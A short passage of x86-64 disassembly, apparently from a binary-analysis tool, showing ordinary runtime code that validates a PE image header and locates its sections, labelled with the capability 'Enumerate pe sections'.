mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402738
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x402743
add rax, 0x28
cmp rax, r9
jne 0x402724
xor eax, eax
repz ret

Function at 0x4027f0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x004042e0]
cmp word [rbx], 0x5a4d
je 0x402810
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402804
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection